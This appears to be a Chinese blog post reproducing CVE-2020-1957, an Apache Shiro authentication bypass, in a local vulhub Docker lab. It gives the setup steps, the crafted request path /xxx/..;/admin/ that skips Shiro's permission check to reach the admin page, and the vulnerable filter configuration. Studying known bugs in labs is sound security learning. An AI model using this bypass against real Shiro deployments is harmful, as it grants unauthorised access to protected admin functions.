首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >vulhub Apache Shiro 1.5.5认证绕过漏洞(CVE-2020-1957)漏洞复现

vulhub Apache Shiro 1.5.5认证绕过漏洞(CVE-2020-1957)漏洞复现

作者头像
tea9
发布2023-03-07 20:42:08
发布2023-03-07 20:42:08
80600
代码可运行
举报
文章被收录于专栏:tea9的博客tea9的博客
运行总次数:0
代码可运行

1.说明

Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。

在Apache Shiro 1.5.2以前的版本中,在使用Spring动态控制器时,攻击者通过构造..;这样的跳转,可以绕过Shiro中对目录的权限限制。

2.环境搭建

因为我的本地环境8080端口冲突,首先我要修改docker-compose.yml文件端口号,8080修改为8081

代码语言:javascript
代码运行次数:0
运行
复制
version: '2'
services:
 web:
   image: vulhub/shiro:1.5.1
   ports:
    - "8081:8080"

进入到目录

\Users\tea90\Documents\tea\github\vulhub-master\shiro\CVE-2020-1957

然后运行

docker-compose up -d

结束之后访问

3.漏洞复现

http://127.0.0.1:8081/

访问会直接跳转到登录

http://192.168.1.102:8081/admin

构造恶意请求/xxx/..;/admin/可以绕过权限校验访问到管理页面

这个应用配置的代码为

代码语言:javascript
代码运行次数:0
运行
复制
@Bean
public ShiroFilterChainDefinition shiroFilterChainDefinition() {
    DefaultShiroFilterChainDefinition chainDefinition = new DefaultShiroFilterChainDefinition();
    chainDefinition.addPathDefinition("/login.html", "authc"); // need to accept POSTs from the login form
    chainDefinition.addPathDefinition("/logout", "logout");
    chainDefinition.addPathDefinition("/admin/**", "authc");
    return chainDefinition;
}

4.代码分析

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1.说明
  • 2.环境搭建
  • 3.漏洞复现
  • 4.代码分析
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档